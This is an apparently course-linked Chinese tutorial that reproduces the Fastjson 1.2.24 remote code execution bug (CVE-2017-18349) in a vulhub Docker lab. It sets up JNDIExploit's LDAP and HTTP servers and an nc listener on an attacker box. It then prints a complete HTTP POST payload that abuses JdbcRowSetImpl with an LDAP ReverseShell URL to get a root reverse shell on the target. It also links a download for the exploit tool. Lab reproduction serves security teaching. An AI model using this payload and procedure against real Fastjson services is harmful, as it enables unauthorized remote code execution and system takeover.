Fastjson 1.2.24 RCE CVE-2017-18349 复现流程

# 内容说明
在课程中，我们介绍了使用`marshalsec-0.0.3-SNAPSHOT-all.jar`工具实现JNDI注入的方法。
https://wiki.bafangwy.com/doc/220/

这种方法需要单独启动一个HTTP端口。这里我们再提供一种新的方法。

对于JNDI注入类利用，常见的利用工具：
1、`marshalsec-0.0.3-SNAPSHOT-all.jar`
2、`JNDI-Injection-Exploit-1.0.jar`，例如：https://wiki.bafangwy.com/doc/682/
3、以及本文介绍的`JNDIExploit-2.0-SNAPSHOT.jar`

# 环境准备
1、安装了vulhub的靶机
安装参考：
G12-CentOS安装vulhub靶场
https://wiki.bafangwy.com/doc/641/

G17-Ubuntu安装 Vulhub 环境
https://wiki.bafangwy.com/doc/829/

本文使用CentOS的靶机，案例中IP为`192.168.142.128`

2、Kali攻击机（版本不限）
案例中IP为：`192.168.142.162`
在Kali机器上，需要配置Java 8环境，参考：
F10-Linux配置Java和切换版本（包括CentOS、Kali）
https://wiki.bafangwy.com/doc/683/

![](/media/202508/2025-08-14_160210_5514590.015044905639633788.png)

3、BurpSuite（版本不限）
用于发送POST payload，安装参考：
https://wiki.bafangwy.com/doc/646/

4、把`JNDIExploit-2.0-SNAPSHOT.jar`传输到Kali机器中，任意位置
下载链接：
JNDIExploit-2.0-SNAPSHOT.jar
链接: https://pan.baidu.com/s/1rpnPp2oKC_mC-Mia46BEKQ?pwd=8888 提取码: 8888

# 漏洞复现
1、在CentOS靶机，启动漏洞环境
目录：`fastjson/1.2.24-rce`
启动命令：
`docker-compose up`

访问：`http://192.168.142.128:8090`

看到这个内容代表环境启动成功：

![](/media/202508/2025-08-14_161053_7238170.9243935466032852.png)

2、在Kali机器，查看可以使用的payload
`java -jar JNDIExploit-2.0-SNAPSHOT.jar -i 192.168.142.162 -u`

因为我们要实现反弹连接，因此复制这一条：

![](/media/202508/2025-08-14_160603_2476100.20888399762851562.png)

修改IP端口，得到payload（备用）
[ip] 改为要反连的机器，这里还是填kali的IP。
[port] 自定义，这里用4444
`ldap://192.168.142.162:1389/Basic/ReverseShell/192.168.142.162/4444`

3、在Kali机器
jar当前位置 启动LDAP和HTTP监听
`java -jar JNDIExploit-2.0-SNAPSHOT.jar -i 192.168.142.162`

可以看到启动了两个端口：

![](/media/202508/2025-08-14_160740_1609470.28775402283763396.png)

其中：1389端口提供ldap访问。8080会提供恶意class文件下载。

4、在Kali机器，**新开一个窗口**，启动反弹连接的监听
与上面的端口号对应起来
`nc -lvvp 4444`

5、打开Burp Suite的**Repeater**工具：
发送如下payload：
注意：
**Host要改成把你的靶机的IP
dataSourceName的值，要改成上述复制的内容（改成你的kali ip，端口不用动）。**
```
POST / HTTP/1.1
Host: 192.168.142.128:8090
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 146

{
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName": "ldap://192.168.142.162:1389/Basic/ReverseShell/192.168.142.162/4444",
        "autoCommit": true
    }
}
```

发送以后，Kali机器建立反弹连接成功（获取的是Docker靶场的虚拟系统的root权限）：

![](/media/202508/2025-08-14_161309_1002640.39906462436021817.png)